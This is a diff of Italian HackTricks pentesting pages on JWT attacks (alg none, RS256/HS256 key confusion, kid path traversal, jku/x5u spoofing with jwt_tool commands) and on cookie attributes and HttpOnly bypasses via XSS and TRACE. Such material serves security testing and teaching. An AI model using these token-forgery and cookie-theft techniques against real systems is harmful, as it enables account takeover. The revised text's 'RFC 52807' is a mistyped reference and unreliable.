* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Se sei interessato alla **carriera di hacking** e vuoi hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza in polacco scritto e parlato_).
|
Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza in polacco scritto e parlato_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
**Parte di questo post si basa sull'ottimo post:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
**Parte di questo post si basa sull'ottimo post:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||||
**Autore dell'ottimo strumento per il pentesting di JWT** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
**Autore dell'ottimo strumento per il pentesting di JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||||
|
|
||||||
### **Vittorie Veloci**
|
### **Vittorie Veloci**
|
||||||
|
|
||||||
|
@ -31,11 +31,11 @@ python3 jwt_tool.py -M at \
|
||||||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||||||
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
|
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
|
||||||
```
|
```
|
||||||
Se sei fortunato, lo strumento troverà alcuni casi in cui l'applicazione web sta controllando in modo errato il JWT:
|
Se sei fortunato, lo strumento troverà qualche caso in cui l'applicazione web sta controllando in modo errato il JWT:
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (935).png>)
|
![](<../.gitbook/assets/image (935).png>)
|
||||||
|
|
||||||
Successivamente, puoi cercare la richiesta nel tuo proxy o estrarre il JWT utilizzato per quella richiesta utilizzando lo strumento jwt\_:
|
Quindi, puoi cercare la richiesta nel tuo proxy o estrarre il JWT utilizzato per quella richiesta usando lo strumento jwt_tool:
|
||||||
```bash
|
```bash
|
||||||
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
||||||
```
|
```
|
||||||
|
@ -47,22 +47,22 @@ Puoi semplicemente manipolare i dati lasciando la firma invariata e verificare s
|
||||||
|
|
||||||
Per verificare se la firma di un JWT viene verificata:
|
Per verificare se la firma di un JWT viene verificata:
|
||||||
|
|
||||||
* Un messaggio di errore suggerisce una verifica in corso; i dettagli sensibili negli errori verbosi dovrebbero essere esaminati.
|
* Un messaggio di errore suggerisce una verifica in corso; i dettagli sensibili negli errori dettagliati dovrebbero essere esaminati.
|
||||||
* Una modifica nella pagina restituita indica la verifica.
|
* Una modifica nella pagina restituita indica la verifica.
|
||||||
* Nessuna modifica suggerisce nessuna verifica; è il momento di sperimentare con la manipolazione delle dichiarazioni del payload.
|
* Nessuna modifica suggerisce nessuna verifica; è il momento di sperimentare con la manipolazione delle richieste.
|
||||||
|
|
||||||
### Origine
|
### Origine
|
||||||
|
|
||||||
È importante determinare se il token è stato generato lato server o lato client esaminando la cronologia delle richieste del proxy.
|
È importante determinare se il token è stato generato lato server o lato client esaminando la cronologia delle richieste del proxy.
|
||||||
|
|
||||||
* I token visti per la prima volta dal lato client suggeriscono che la chiave potrebbe essere esposta al codice lato client, richiedendo ulteriori indagini.
|
* I token visti per la prima volta dal lato client suggeriscono che la chiave potrebbe essere esposta al codice lato client, richiedendo ulteriori indagini.
|
||||||
* I token che originano lato server indicano un processo sicuro.
|
* I token che originano dal lato server indicano un processo sicuro.
|
||||||
|
|
||||||
### Durata
|
### Durata
|
||||||
|
|
||||||
Verifica se il token dura più di 24 ore... forse non scade mai. Se c'è un campo "exp", controlla se il server lo sta gestendo correttamente.
|
Verifica se il token dura più di 24 ore... forse non scade mai. Se c'è un campo "exp", controlla se il server lo gestisce correttamente.
|
||||||
|
|
||||||
### Forzare il segreto HMAC con attacco di forza bruta
|
### Forza bruta del segreto HMAC
|
||||||
|
|
||||||
[**Vedi questa pagina.**](../generic-methodologies-and-resources/brute-force.md#jwt)
|
[**Vedi questa pagina.**](../generic-methodologies-and-resources/brute-force.md#jwt)
|
||||||
|
|
||||||
|
@ -70,14 +70,14 @@ Verifica se il token dura più di 24 ore... forse non scade mai. Se c'è un camp
|
||||||
|
|
||||||
Imposta l'algoritmo utilizzato come "None" e rimuovi la parte della firma.
|
Imposta l'algoritmo utilizzato come "None" e rimuovi la parte della firma.
|
||||||
|
|
||||||
Utilizza l'estensione Burp chiamata "JSON Web Token" per provare questa vulnerabilità e per cambiare valori diversi all'interno del JWT (invia la richiesta a Repeater e nella scheda "JSON Web Token" puoi modificare i valori del token. Puoi anche selezionare di impostare il valore del campo "Alg" su "None").
|
Utilizza l'estensione Burp chiamata "JSON Web Token" per provare questa vulnerabilità e per modificare valori diversi all'interno del JWT (invia la richiesta a Repeater e nella scheda "JSON Web Token" puoi modificare i valori del token. Puoi anche selezionare di impostare il valore del campo "Alg" su "None").
|
||||||
|
|
||||||
### Cambiare l'algoritmo da RS256(asimmetrico) a HS256(simmetrico) (CVE-2016-5431/CVE-2016-10555)
|
### Cambiare l'algoritmo da RS256(asimmetrico) a HS256(simmetrico) (CVE-2016-5431/CVE-2016-10555)
|
||||||
|
|
||||||
L'algoritmo HS256 utilizza la chiave segreta per firmare e verificare ciascun messaggio.\
|
L'algoritmo HS256 utilizza la chiave segreta per firmare e verificare ciascun messaggio.\
|
||||||
L'algoritmo RS256 utilizza la chiave privata per firmare il messaggio e utilizza la chiave pubblica per l'autenticazione.
|
L'algoritmo RS256 utilizza la chiave privata per firmare il messaggio e utilizza la chiave pubblica per l'autenticazione.
|
||||||
|
|
||||||
Se cambi l'algoritmo da RS256 a HS256, il codice back-end utilizza la chiave pubblica come chiave segreta e quindi utilizza l'algoritmo HS256 per verificare la firma.
|
Se cambi l'algoritmo da RS256 a HS256, il codice back end utilizza la chiave pubblica come chiave segreta e quindi utilizza l'algoritmo HS256 per verificare la firma.
|
||||||
|
|
||||||
Quindi, utilizzando la chiave pubblica e cambiando da RS256 a HS256 potremmo creare una firma valida. Puoi recuperare il certificato del server web eseguendo questo:
|
Quindi, utilizzando la chiave pubblica e cambiando da RS256 a HS256 potremmo creare una firma valida. Puoi recuperare il certificato del server web eseguendo questo:
|
||||||
```bash
|
```bash
|
||||||
|
@ -88,10 +88,10 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||||
|
|
||||||
Un attaccante incorpora una nuova chiave nell'intestazione del token e il server utilizza questa nuova chiave per verificare la firma (CVE-2018-0114).
|
Un attaccante incorpora una nuova chiave nell'intestazione del token e il server utilizza questa nuova chiave per verificare la firma (CVE-2018-0114).
|
||||||
|
|
||||||
Questo può essere fatto con l'estensione Burp "JSON Web Tokens".\
|
Ciò può essere fatto con l'estensione Burp "JSON Web Tokens".\
|
||||||
(Inoltra la richiesta al Repeater, all'interno della scheda JSON Web Token seleziona "CVE-2018-0114" e invia la richiesta).
|
(Inoltrare la richiesta al Repeater, all'interno della scheda JSON Web Token selezionare "CVE-2018-0114" e inviare la richiesta).
|
||||||
|
|
||||||
### Falsificazione di JWKS
|
### Spoofing JWKS
|
||||||
|
|
||||||
Le istruzioni dettagliano un metodo per valutare la sicurezza dei token JWT, in particolare quelli che impiegano un claim di intestazione "jku". Questo claim dovrebbe collegarsi a un file JWKS (JSON Web Key Set) che contiene la chiave pubblica necessaria per la verifica del token.
|
Le istruzioni dettagliano un metodo per valutare la sicurezza dei token JWT, in particolare quelli che impiegano un claim di intestazione "jku". Questo claim dovrebbe collegarsi a un file JWKS (JSON Web Key Set) che contiene la chiave pubblica necessaria per la verifica del token.
|
||||||
|
|
||||||
|
@ -99,8 +99,8 @@ Le istruzioni dettagliano un metodo per valutare la sicurezza dei token JWT, in
|
||||||
* Verificare l'URL del claim "jku" per assicurarsi che conduca al file JWKS appropriato.
|
* Verificare l'URL del claim "jku" per assicurarsi che conduca al file JWKS appropriato.
|
||||||
* Modificare il valore "jku" del token per indirizzarlo verso un servizio web controllato, consentendo l'osservazione del traffico.
|
* Modificare il valore "jku" del token per indirizzarlo verso un servizio web controllato, consentendo l'osservazione del traffico.
|
||||||
* **Monitoraggio dell'Interazione HTTP**:
|
* **Monitoraggio dell'Interazione HTTP**:
|
||||||
* Osservare le richieste HTTP al tuo URL specificato indica i tentativi del server di recuperare le chiavi dal link fornito.
|
* L'osservazione delle richieste HTTP al tuo URL specificato indica i tentativi del server di recuperare le chiavi dal link fornito.
|
||||||
* Quando si utilizza `jwt_tool` per questo processo, è fondamentale aggiornare il file `jwtconf.ini` con la posizione del tuo JWKS personale per facilitare il testing.
|
* Quando si utilizza `jwt_tool` per questo processo, è fondamentale aggiornare il file `jwtconf.ini` con la posizione personale del tuo JWKS per facilitare il testing.
|
||||||
* **Comando per `jwt_tool`**:
|
* **Comando per `jwt_tool`**:
|
||||||
* Eseguire il seguente comando per simulare lo scenario con `jwt_tool`:
|
* Eseguire il seguente comando per simulare lo scenario con `jwt_tool`:
|
||||||
|
|
||||||
|
@ -110,15 +110,15 @@ python3 jwt_tool.py JWT_QUI -X s
|
||||||
|
|
||||||
### Panoramica dei Problemi di Kid
|
### Panoramica dei Problemi di Kid
|
||||||
|
|
||||||
Un claim di intestazione opzionale noto come `kid` è utilizzato per identificare una chiave specifica, il che diventa particolarmente vitale in ambienti in cui esistono più chiavi per la verifica della firma del token. Questo claim aiuta a selezionare la chiave appropriata per verificare la firma di un token.
|
Un claim di intestazione opzionale noto come `kid` viene utilizzato per identificare una chiave specifica, il che diventa particolarmente vitale in ambienti in cui esistono più chiavi per la verifica della firma del token. Questo claim aiuta a selezionare la chiave appropriata per verificare la firma di un token.
|
||||||
|
|
||||||
#### Rivelazione della Chiave tramite "kid"
|
#### Rivelazione della Chiave tramite "kid"
|
||||||
|
|
||||||
Quando il claim `kid` è presente nell'intestazione, è consigliabile cercare nella directory web il file corrispondente o le sue varianti. Ad esempio, se `"kid":"key/12345"` è specificato, i file _/key/12345_ e _/key/12345.pem_ dovrebbero essere cercati nella radice web.
|
Quando il claim `kid` è presente nell'intestazione, è consigliabile cercare nella directory web il file corrispondente o le sue varianti. Ad esempio, se è specificato `"kid":"key/12345"`, i file _/key/12345_ e _/key/12345.pem_ dovrebbero essere cercati nella root del web.
|
||||||
|
|
||||||
#### Traversamento del Percorso con "kid"
|
#### Traversamento del Percorso con "kid"
|
||||||
|
|
||||||
Il claim `kid` potrebbe anche essere sfruttato per navigare nel sistema di file, consentendo potenzialmente la selezione di un file arbitrario. È possibile testare la connettività o eseguire attacchi di Richiesta di Server-Side Forgery (SSRF) modificando il valore `kid` per mirare a file o servizi specifici. Manipolare il JWT per cambiare il valore `kid` mantenendo la firma originale può essere realizzato utilizzando il flag `-T` in jwt\_tool, come dimostrato di seguito:
|
Il claim `kid` potrebbe anche essere sfruttato per navigare nel sistema di file, consentendo potenzialmente la selezione di un file arbitrario. È possibile testare la connettività o eseguire attacchi di Server-Side Request Forgery (SSRF) modificando il valore `kid` per mirare a file o servizi specifici. Manipolare il JWT per cambiare il valore `kid` mantenendo la firma originale può essere realizzato utilizzando il flag `-T` in jwt\_tool, come dimostrato di seguito:
|
||||||
```bash
|
```bash
|
||||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||||
```
|
```
|
||||||
|
@ -142,7 +142,7 @@ Uno scenario in cui il parametro `kid` specifica un percorso di file utilizzato
|
||||||
|
|
||||||
#### jku
|
#### jku
|
||||||
|
|
||||||
jku sta per **JWK Set URL**.\
|
jku sta per **URL dell'insieme JWK**.\
|
||||||
Se il token utilizza un claim **Header** "**jku**", **controlla l'URL fornito**. Questo dovrebbe puntare a un URL contenente il file JWKS che contiene la Chiave Pubblica per verificare il token. Manipola il token per far puntare il valore jku a un servizio web di cui puoi monitorare il traffico.
|
Se il token utilizza un claim **Header** "**jku**", **controlla l'URL fornito**. Questo dovrebbe puntare a un URL contenente il file JWKS che contiene la Chiave Pubblica per verificare il token. Manipola il token per far puntare il valore jku a un servizio web di cui puoi monitorare il traffico.
|
||||||
|
|
||||||
Prima devi creare un nuovo certificato con nuove chiavi private e pubbliche
|
Prima devi creare un nuovo certificato con nuove chiavi private e pubbliche
|
||||||
|
@ -164,7 +164,7 @@ print("e:", hex(key.e))
|
||||||
```
|
```
|
||||||
#### x5u
|
#### x5u
|
||||||
|
|
||||||
X.509 URL. Un URI che punta a un insieme di certificati pubblici X.509 (uno standard di formato certificato) codificati in forma PEM. Il primo certificato nell'insieme deve essere quello usato per firmare questo JWT. I certificati successivi firmano ciascuno quello precedente, completando così la catena di certificati. X.509 è definito in RFC 5280. È richiesta la sicurezza del trasporto per trasferire i certificati.
|
X.509 URL. Un URI che punta a un insieme di certificati pubblici X.509 (uno standard di formato certificato) codificati in forma PEM. Il primo certificato nell'insieme deve essere quello usato per firmare questo JWT. I certificati successivi firmano ciascuno quello precedente, completando così la catena di certificati. X.509 è definito in RFC 52807. È richiesta la sicurezza del trasporto per trasferire i certificati.
|
||||||
|
|
||||||
Prova a **cambiare questo header con un URL sotto il tuo controllo** e controlla se viene ricevuta qualche richiesta. In tal caso **potresti manomettere il JWT**.
|
Prova a **cambiare questo header con un URL sotto il tuo controllo** e controlla se viene ricevuta qualche richiesta. In tal caso **potresti manomettere il JWT**.
|
||||||
|
|
||||||
|
@ -212,7 +212,7 @@ openssl genrsa -out keypair.pem 2048
|
||||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||||
```
|
```
|
||||||
Puoi ottenere il "n" e il "e" utilizzando questo script nodejs:
|
Puoi ottenere il "n" e "e" utilizzando questo script nodejs:
|
||||||
```bash
|
```bash
|
||||||
const NodeRSA = require('node-rsa');
|
const NodeRSA = require('node-rsa');
|
||||||
const fs = require('fs');
|
const fs = require('fs');
|
||||||
|
@ -231,7 +231,7 @@ Ecco un esempio: [ECDSA: Rivelazione della chiave privata, se viene utilizzato l
|
||||||
### JTI (JWT ID)
|
### JTI (JWT ID)
|
||||||
|
|
||||||
Il claim JTI (JWT ID) fornisce un identificatore univoco per un token JWT. Può essere utilizzato per evitare il replay del token.\
|
Il claim JTI (JWT ID) fornisce un identificatore univoco per un token JWT. Può essere utilizzato per evitare il replay del token.\
|
||||||
Tuttavia, immagina una situazione in cui la lunghezza massima dell'ID è 4 (0001-9999). Le richieste 0001 e 10001 utilizzeranno lo stesso ID. Quindi, se il backend incrementa l'ID ad ogni richiesta, potresti abusare di questo per **replay di una richiesta** (necessario inviare 10000 richieste tra ogni replay riuscito).
|
Tuttavia, immagina una situazione in cui la lunghezza massima dell'ID è 4 (0001-9999). La richiesta 0001 e 10001 utilizzeranno lo stesso ID. Quindi, se il backend sta incrementando l'ID ad ogni richiesta, potresti abusarne per **replay di una richiesta** (necessario inviare 10000 richieste tra ogni replay riuscito).
|
||||||
|
|
||||||
### Claim registrati JWT
|
### Claim registrati JWT
|
||||||
|
|
||||||
|
@ -247,7 +247,7 @@ Tuttavia, immagina una situazione in cui la lunghezza massima dell'ID è 4 (0001
|
||||||
|
|
||||||
**Controllo di Scadenza dei Token**
|
**Controllo di Scadenza dei Token**
|
||||||
|
|
||||||
La scadenza del token viene verificata utilizzando il claim Payload "exp". Dato che i JWT sono spesso impiegati senza informazioni di sessione, è necessaria una gestione attenta. In molti casi, catturare e riprodurre il JWT di un altro utente potrebbe consentire l'usurpazione di quell'utente. Il RFC JWT raccomanda di mitigare gli attacchi di replay JWT utilizzando il claim "exp" per impostare un tempo di scadenza per il token. Inoltre, è cruciale l'implementazione di controlli pertinenti da parte dell'applicazione per garantire l'elaborazione di questo valore e il rifiuto dei token scaduti. Se il token include un claim "exp" e i limiti di tempo dei test lo consentono, è consigliabile memorizzare il token e riprodurlo dopo che è passato il tempo di scadenza. Il contenuto del token, inclusa l'analisi dei timestamp e il controllo di scadenza (timestamp in UTC), può essere letto utilizzando il flag -R di jwt_tool.
|
La scadenza del token viene verificata utilizzando il claim Payload "exp". Dato che i JWT sono spesso utilizzati senza informazioni di sessione, è necessaria una gestione attenta. In molti casi, catturare e riprodurre il JWT di un altro utente potrebbe consentire l'usurpazione di quell'utente. Il RFC JWT raccomanda di mitigare gli attacchi di replay JWT utilizzando il claim "exp" per impostare un tempo di scadenza per il token. Inoltre, è cruciale che l'applicazione implementi controlli pertinenti per garantire l'elaborazione di questo valore e il rifiuto dei token scaduti. Se il token include un claim "exp" e i limiti di tempo dei test lo consentono, si consiglia di memorizzare il token e riprodurlo dopo che il tempo di scadenza è trascorso. Il contenuto del token, inclusa l'analisi dei timestamp e il controllo di scadenza (timestamp in UTC), può essere letto utilizzando il flag -R di jwt_tool.
|
||||||
|
|
||||||
* Potrebbe essere presente un rischio per la sicurezza se l'applicazione continua a convalidare il token, poiché potrebbe implicare che il token non potrebbe mai scadere.
|
* Potrebbe essere presente un rischio per la sicurezza se l'applicazione continua a convalidare il token, poiché potrebbe implicare che il token non potrebbe mai scadere.
|
||||||
|
|
||||||
|
@ -255,9 +255,9 @@ La scadenza del token viene verificata utilizzando il claim Payload "exp". Dato
|
||||||
|
|
||||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza scritta e parlata in polacco_).
|
Se sei interessato a una **carriera nel campo dell'hacking** e a hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza scritta e parlata in polacco_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -267,7 +267,7 @@ Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare l'
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
|
|
@ -48,7 +48,7 @@ Quando due cookie hanno lo stesso nome, quello scelto per l'invio si basa su:
|
||||||
### SameSite
|
### SameSite
|
||||||
|
|
||||||
* L'attributo `SameSite` detta se i cookie vengono inviati su richieste provenienti da domini di terze parti. Offre tre impostazioni:
|
* L'attributo `SameSite` detta se i cookie vengono inviati su richieste provenienti da domini di terze parti. Offre tre impostazioni:
|
||||||
* **Strict**: Limita l'invio del cookie su richieste di terze parti.
|
* **Strict**: Limita il cookie dall'essere inviato su richieste di terze parti.
|
||||||
* **Lax**: Consente al cookie di essere inviato con richieste GET avviate da siti web di terze parti.
|
* **Lax**: Consente al cookie di essere inviato con richieste GET avviate da siti web di terze parti.
|
||||||
* **None**: Permette al cookie di essere inviato da qualsiasi dominio di terze parti.
|
* **None**: Permette al cookie di essere inviato da qualsiasi dominio di terze parti.
|
||||||
|
|
||||||
|
@ -65,7 +65,7 @@ Ricorda, durante la configurazione dei cookie, la comprensione di questi attribu
|
||||||
| Immagine | \<img src="..."> | NetSet\*, None |
|
| Immagine | \<img src="..."> | NetSet\*, None |
|
||||||
|
|
||||||
Tabella da [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) e leggermente modificata.\
|
Tabella da [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) e leggermente modificata.\
|
||||||
Un cookie con attributo _**SameSite**_ **mitiga gli attacchi CSRF** dove è necessaria una sessione autenticata.
|
Un cookie con attributo _**SameSite**_ **mitiga gli attacchi CSRF** dove è necessaria una sessione connessa.
|
||||||
|
|
||||||
**\*Nota che da Chrome80 (feb/2019) il comportamento predefinito di un cookie senza un attributo samesite** **sarà lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
**\*Nota che da Chrome80 (feb/2019) il comportamento predefinito di un cookie senza un attributo samesite** **sarà lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||||
Nota che temporaneamente, dopo l'applicazione di questa modifica, i **cookie senza una politica SameSite** in Chrome verranno **trattati come None** durante i **primi 2 minuti e poi come Lax per richieste POST cross-site di alto livello.**
|
Nota che temporaneamente, dopo l'applicazione di questa modifica, i **cookie senza una politica SameSite** in Chrome verranno **trattati come None** durante i **primi 2 minuti e poi come Lax per richieste POST cross-site di alto livello.**
|
||||||
|
@ -74,13 +74,13 @@ Nota che temporaneamente, dopo l'applicazione di questa modifica, i **cookie sen
|
||||||
|
|
||||||
### HttpOnly
|
### HttpOnly
|
||||||
|
|
||||||
Questo impedisce al **client** di accedere al cookie (Ad esempio tramite **Javascript**: `document.cookie`)
|
Questo impedisce al **client** di accedere al cookie (tramite **Javascript** ad esempio: `document.cookie`)
|
||||||
|
|
||||||
#### **Bypass**
|
#### **Bypass**
|
||||||
|
|
||||||
* Se la pagina sta **inviando i cookie come risposta** di una richiesta (ad esempio in una pagina **PHPinfo**), è possibile sfruttare la XSS per inviare una richiesta a questa pagina e **rubare i cookie** dalla risposta (controlla un esempio in [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
* Se la pagina sta **inviando i cookie come risposta** di una richiesta (ad esempio in una pagina **PHPinfo**), è possibile sfruttare l'XSS per inviare una richiesta a questa pagina e **rubare i cookie** dalla risposta (controlla un esempio in [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
||||||
* Questo potrebbe essere bypassato con richieste **TRACE** **HTTP** poiché la risposta dal server (se questo metodo HTTP è disponibile) rifletterà i cookie inviati. Questa tecnica è chiamata **Cross-Site Tracking**.
|
* Questo potrebbe essere bypassato con richieste **TRACE** **HTTP** poiché la risposta dal server (se questo metodo HTTP è disponibile) rifletterà i cookie inviati. Questa tecnica è chiamata **Cross-Site Tracking**.
|
||||||
* Questa tecnica è evitata dai **browser moderni che non permettono l'invio di una richiesta TRACE** da JS. Tuttavia, sono stati trovati alcuni bypass a questo in software specifici come l'invio di `\r\nTRACE` invece di `TRACE` a IE6.0 SP2.
|
* Questa tecnica è evitata dai **browser moderni che non permettono l'invio di una richiesta TRACE** da JS. Tuttavia, sono state trovate alcune bypass a questo in software specifici come l'invio di `\r\nTRACE` invece di `TRACE` a IE6.0 SP2.
|
||||||
* Un altro modo è lo sfruttamento di vulnerabilità zero/day dei browser.
|
* Un altro modo è lo sfruttamento di vulnerabilità zero/day dei browser.
|
||||||
* È possibile **sovrascrivere i cookie HttpOnly** eseguendo un attacco di overflow del Cookie Jar:
|
* È possibile **sovrascrivere i cookie HttpOnly** eseguendo un attacco di overflow del Cookie Jar:
|
||||||
|
|
||||||
|
@ -92,7 +92,7 @@ Questo impedisce al **client** di accedere al cookie (Ad esempio tramite **Javas
|
||||||
|
|
||||||
### Secure
|
### Secure
|
||||||
|
|
||||||
La richiesta invierà il cookie **solo** in una richiesta HTTP solo se la richiesta viene trasmessa su un canale sicuro (tipicamente **HTTPS**).
|
La richiesta invierà il cookie solo in una richiesta HTTP solo se la richiesta viene trasmessa su un canale sicuro (tipicamente **HTTPS**).
|
||||||
|
|
||||||
## Prefissi dei Cookies
|
## Prefissi dei Cookies
|
||||||
|
|
||||||
|
@ -105,28 +105,28 @@ Per i cookies prefissati con `__Host-`, devono essere soddisfatte diverse condiz
|
||||||
* È vietato specificare un dominio per questi cookie, impedendo la loro trasmissione ai sottodomini.
|
* È vietato specificare un dominio per questi cookie, impedendo la loro trasmissione ai sottodomini.
|
||||||
* Il percorso per questi cookie deve essere impostato su `/`.
|
* Il percorso per questi cookie deve essere impostato su `/`.
|
||||||
|
|
||||||
È importante notare che i cookies prefissati con `__Host-` non sono consentiti di essere inviati a superdomini o sottodomini. Questa restrizione aiuta ad isolare i cookies dell'applicazione. Pertanto, l'utilizzo del prefisso `__Host-` per tutti i cookies dell'applicazione può essere considerato una buona pratica per migliorare la sicurezza e l'isolamento.
|
È importante notare che i cookies prefissati con `__Host-` non sono consentiti di essere inviati a superdomini o sottodomini. Questa restrizione aiuta nell'isolamento dei cookies dell'applicazione. Pertanto, l'utilizzo del prefisso `__Host-` per tutti i cookies dell'applicazione può essere considerato una buona pratica per migliorare la sicurezza e l'isolamento.
|
||||||
### Sovrascrittura dei cookies
|
### Sovrascrittura dei cookie
|
||||||
|
|
||||||
Quindi, una delle protezioni dei cookies con prefisso `__Host-` è quella di impedire che siano sovrascritti da sottodomini. Ad esempio, impedendo gli attacchi di [**Cookie Tossing**](cookie-tossing.md). Nella presentazione [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**documento**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) è stato presentato che era possibile impostare cookies con prefisso `__HOST-` da un sottodominio, ingannando il parser, ad esempio, aggiungendo "=" all'inizio o all'inizio e alla fine...:
|
Quindi, una delle protezioni dei cookie con prefisso `__Host-` è quella di impedire che siano sovrascritti da sottodomini. Ad esempio, impedendo gli [**attacchi di Cookie Tossing**](cookie-tossing.md). Nella presentazione [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**documento**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) è stato presentato che era possibile impostare i cookie con prefisso `__HOST-` da un sottodominio, ingannando il parser, ad esempio, aggiungendo "=" all'inizio o all'inizio e alla fine...:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (6).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Oppure in PHP era possibile aggiungere **altri caratteri all'inizio** del nome del cookie che sarebbero stati **sostituiti da caratteri di underscore**, consentendo di sovrascrivere i cookies `__HOST-`:
|
Oppure in PHP era possibile aggiungere **altri caratteri all'inizio** del nome del cookie che sarebbero stati **sostituiti da caratteri di sottolineatura**, consentendo di sovrascrivere i cookie `__HOST-`:
|
||||||
|
